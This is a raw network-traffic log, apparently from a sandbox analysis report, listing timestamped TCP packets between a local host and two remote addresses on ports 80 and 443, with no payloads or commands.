Nov 12, 2024 08:30:40.519541025 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.519551992 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.519562960 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.519567013 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.519575119 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.519587040 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.519593954 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.519601107 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.519613028 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.519619942 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.519638062 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.519659996 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.519984961 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.519994974 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.520004988 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.520016909 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.520028114 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.520030022 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.520040989 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.520046949 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.520051003 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.520062923 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.520066977 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.520076036 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.520087004 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.520096064 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.520100117 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.520111084 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.520113945 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.520123959 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.520138979 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.520164013 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.559808969 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.559884071 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.559891939 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.559904099 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.559928894 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.559976101 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.559979916 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.560017109 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.560053110 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.560065031 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.560096979 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.560194016 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.560206890 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.560218096 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.560229063 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.560237885 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.560266018 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.560420990 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.560431957 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.560453892 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.560458899 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.560467005 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.560480118 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.560480118 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.560492992 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.560499907 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.560523033 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.576790094 CET	443	57090	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:40.576811075 CET	443	57090	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:40.576848984 CET	443	57090	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:40.576885939 CET	57090	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:40.576910019 CET	443	57090	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:40.576921940 CET	57090	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:40.577600956 CET	57090	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:40.577600956 CET	57090	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:40.577616930 CET	443	57090	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:40.577765942 CET	443	57090	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:40.577794075 CET	443	57090	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:40.577847004 CET	57090	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:40.632194996 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.632214069 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.632232904 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.632246017 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.632255077 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.632268906 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.632272959 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.632285118 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.632297039 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.632302046 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.632320881 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.632333994 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.632399082 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.632411003 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.632446051 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.632611036 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.632666111 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.632694006 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.632705927 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.632742882 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.632812023 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.632822990 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.632848024 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.632868052 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.632882118 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.632924080 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.632962942 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.632975101 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.632997036 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.633007050 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.633111954 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.633124113 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.633135080 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.633145094 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.633161068 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.633199930 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.633241892 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.633284092 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.633296967 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.633308887 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.633313894 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.633313894 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.633320093 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.633337021 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.633384943 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.633528948 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.633541107 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.633552074 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.633584023 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.633608103 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.633665085 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.633680105 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.633697987 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.633722067 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.633748055 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.633815050 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.633826971 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.633838892 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.633861065 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.633872032 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.633970022 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.633981943 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.634027958 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.634114027 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.634125948 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.634138107 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.634150028 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.634160995 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.634166956 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.634191036 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.634200096 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.634490013 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.634530067 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.634546995 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.634557962 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.634568930 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.634572983 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.634581089 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.634593010 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.634613037 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.634622097 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.634629965 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.634629965 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.634651899 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.634675026 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.634881973 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.634896994 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.634967089 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.634967089 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.634995937 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.635008097 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.635019064 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.635030985 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.635032892 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.635044098 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.635055065 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.635070086 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.635091066 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.635274887 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.635286093 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.635304928 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.635324001 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.635327101 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.635327101 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.635338068 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.635349989 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.635355949 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.635360956 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.635370016 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.635410070 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.635584116 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.635596037 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.635633945 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.635641098 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.635653973 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.635665894 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.635679007 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.635679007 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.635703087 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.635735989 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.635899067 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.635911942 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.635924101 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.635938883 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.635948896 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.635976076 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.636028051 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.636039972 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.636050940 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.636065006 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.636089087 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.636183023 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.636193037 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.636203051 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.636215925 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.636219978 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.636240959 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.636269093 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.636383057 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.636394978 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.636408091 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.636424065 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.636435032 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.636450052 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.636538982 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.636550903 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.636564016 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.636599064 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.636627913 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.636795044 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.636848927 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.636861086 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.636873007 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.636910915 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.636974096 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.636986017 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.637032986 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.637095928 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.637147903 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.637170076 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.637181044 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.637216091 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.637286901 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.637355089 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.637365103 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.637376070 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.637388945 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.637411118 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.637465954 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.637478113 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.637491941 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.637506962 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.637527943 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.637815952 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.637830973 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.637868881 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.637877941 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.637881994 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.637916088 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.637944937 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.637959003 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.637972116 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.637988091 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.637995958 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.638016939 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.641417027 CET	57104	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:40.641463041 CET	443	57104	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:40.641520977 CET	57104	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:40.641874075 CET	57104	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:40.641885042 CET	443	57104	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:40.677185059 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.677205086 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.677216053 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.677237988 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.677267075 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.677321911 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.677334070 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.677345991 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.677359104 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.677382946 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.677525043 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.677535057 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.677545071 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.677556038 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.677560091 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.677566051 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.677577019 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.677587032 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.677597046 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.677601099 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.677620888 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.677640915 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.677788019 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.677822113 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.677870989 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.677881002 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.677886009 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.677892923 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.677903891 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.677906036 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.677916050 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.677923918 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.677926064 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.677957058 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.677969933 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.749732971 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.749757051 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.749768972 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.749825954 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.749902010 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.749912024 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.749922991 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.749933958 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.749938011 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.749982119 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.750119925 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.750178099 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.750190020 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.750236034 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.750288010 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.750298977 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.750308990 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.750339031 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.750349998 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.750499010 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.750509024 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.750519991 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.750531912 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.750543118 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.750554085 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.750564098 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.750590086 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.750758886 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.750770092 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.750785112 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.750804901 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.750828981 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.750879049 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.750890017 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.750900984 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.750930071 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.750953913 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.751035929 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.751049042 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.751081944 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.751180887 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.751193047 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.751204967 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.751215935 CET	80	49809	185.215.113.206	192.168.2.5
